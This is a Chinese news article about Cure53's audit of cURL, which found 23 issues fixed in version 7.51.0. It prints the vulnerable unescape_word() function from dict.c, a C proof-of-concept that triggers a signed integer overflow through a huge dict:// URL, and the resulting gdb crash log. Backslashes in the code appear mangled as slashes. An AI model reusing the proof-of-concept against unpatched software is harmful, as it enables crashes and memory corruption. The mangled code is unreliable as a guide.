注意了,cURL的漏洞也不少

释放双眼,带上耳机,听听看~!
安全专家对cURL进行了审计,发现了数十个安全问题,这些漏洞在最新的版本中已经被修复。

注意了,cURL的漏洞也不少

安全专家对cURL进行了审计,发现了数十个安全问题,这些漏洞在最新的版本中已经被修复。

cURL想必大家都不陌生,它是一款开源的命令行工具和库,支持多种协议传输数据。cURL如今的应用还是比较广泛的,包括网络设备、打印机、智能手机,甚至是一些物联网设备比如汽车。

主动审计

前不久,cURL开发者、Mozilla员工Daniel Stenberg请Mozilla Secure Open Source(SOS)项目对cURL进行安全审计。

 “我请Mozilla Secure Open Source项目进行了一次安全审计。这个项目是由Mozilla寻找第三方公司一起参与,并且最终买单完成的。参与审计的公司名为Cure53。” Stenberg在博客中写道。“我之所以申请审计是因为最近我感觉存在一些安全相关的问题,我觉得我们在安全方面可能有所欠缺,所以想让专家们检查一下。”

Cure53的5名专家对cURL进行了为期20天的审计,发现了总共23个安全问题。

审计结果

这些安全问题中,有9个是安全漏洞。专家融合了其中2个安全漏洞——其中一个被归类为“plain bug”,因为要在实际攻击场景进行利用会很困难。另外,审计发现了4个高危漏洞和4个中危漏洞。

高危漏洞的漏洞编号为CVE-2016-8617, CVE-2016-8619, CVE-2016-8622和CVE-2016-8623。这些都是远程执行漏洞。

比如说下面这个漏洞:

CRL-01-014 unescape_word()整型溢出造成负数数组索引(高危)

dict.c中的unescape_word()函数中存在以下代码:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static char *unescape_word(struct Curl_easy *data, const char *inputbuff)
       {
         char *newp;
         char *dictp;
         char *ptr;
         int len;
         char ch;
         int olen=0;
         newp = curl_easy_unescape(data, inputbuff, 0, &len);
         if(!newp)
return NULL;
         dictp = malloc(((size_t)len)*2 + 1); /* add one for terminating zero */
         if(dictp) {
           /* According to RFC2229 section 2.2, these letters need to be escaped with
              /[letter] */
           for(ptr = newp;
               (ch = *ptr) != 0;
               ptr++) {
             if((ch <= 32) || (ch == 127) ||
                 (ch == '/'') || (ch == '/"') || (ch == '//')) {
               dictp[olen++] = '//';
             }
             dictp[olen++] = ch;
           }
           dictp[olen]=0;
         }
free(newp);
         return dictp;
       }

很明显,len要比pow(2,31)小,但是输出可以拓展至两倍大小,也就是说当olen的值是INT_MAX时,可以被增加。这就会导致有符号整型溢出。

由于olen一直被用作数组索引,负的数组索引就会指向未分配的内存。

要验证漏洞,可以在6GB以上空闲内存的64位电脑上运行下面的代码。这个测试会获取一个超过1GB长的dict:// URL。


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <curl/curl.h>
#include <stdint.h>
#include <string.h>
#include <err.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
  char *dicturl = malloc(23 + (1ULL<<30) + 5 + 1);
  if (!dicturl)
    errx(1, "malloc");
  strcpy(dicturl, "dict://localhost/MATCH:");
  memset(dicturl + 23, '/"', (1ULL<<30) + 5);
  dicturl[23 + (1ULL<<30) + 5] = '/0';
  CURL *hnd = curl_easy_init();
  curl_easy_setopt(hnd, CURLOPT_URL, dicturl);
  free(dicturl);
  curl_easy_setopt(hnd, CURLOPT_NOPROGRESS, 1L);
  CURLcode ret = curl_easy_perform(hnd);
  curl_easy_cleanup(hnd);
  return (int)ret;
}

运行会导致如下的崩溃信息:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ gdb ./negative_dict_url
[...]
(gdb) run
Starting program: [...]
[...]
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7b6975b in unescape_word (data=0x63a0b0, inputbuff=0x7fffb0fca017 '/"' <repeats 200 times>...) at dict.c:116
116 dictp[olen++] = '//';
(gdb) x/1i $pc
=> 0x7ffff7b6975b <unescape_word+170>: mov
(gdb) print/x $rax
$1 = 0x7ffdf0dba010
(gdb) print/x dictp
$2 = 0x7ffe70dba010
(gdb) print olen
$3 = -2147483647

但实际上,审计报告提到,cURL库的整体安全性和鲁棒性都很好。

也请大家不要担心,新版本的cURL已经上线了,7.51.0版本修复了总共11个漏洞,其中7个是由Cure53的审计团队发现的,其他的漏洞是由Luật Nguyễn、Christian Heimes和Fernando Muñoz提交的。

Stenberg指出,cURL是一个非常常用的软件,因此,审计对用户来说具有重大意义。

 “由于curl是世界上最常用的软件,因此curl如果出现了问题可能对各种工具、设备、应用造成重大影响。我们不希望发生那样的事。”

*参考来源:SecurityAffairs,本文作者:Sphinx,转载请注明来自FreeBuf(FreeBuf.com)

给TA打赏
共{{data.count}}人
人已打赏
安全事件

Win10攻击神技巧:系统更新时长按 SHIFT+F10 键可以打开CMD界面

2016-12-20 0:56:22

安全事件

“鑫胖”家的红星3.0系统被曝漏洞,可远程执行任意命令注入

2016-12-20 2:59:05

个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索